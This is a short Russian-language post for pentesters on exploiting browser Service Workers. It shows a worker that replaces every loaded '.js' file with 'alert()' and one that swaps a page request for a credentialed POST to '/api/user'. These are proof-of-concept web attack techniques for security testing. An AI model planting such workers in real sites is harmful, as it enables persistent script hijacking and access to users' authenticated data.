Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?



Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивлен



Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>, то вернется alert().



Надо разместить куда-то serviceworker.js (на имя пофиг).





self.addEventListener('fetch', event => {

if(event.request.url.endsWith('.js'))

event.respondWith(new Response('alert()'));

});





И зарегать его:

<script>navigator.serviceWorker.register(‘serviceworker.js')</script>



При следующем посещении все js’ки будут alert’тить.



А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:



self.addEventListener('fetch', event => {

const url = '/api/user';

if(event.request.url.endsWith('/intercept'))

event.respondWith(fetch(url, {

method : 'POST',

mode : 'no-cors',

credentials: 'include'

}));

});



И вместо <script src=/intercept></script>, будет содержимое POST-запроса



>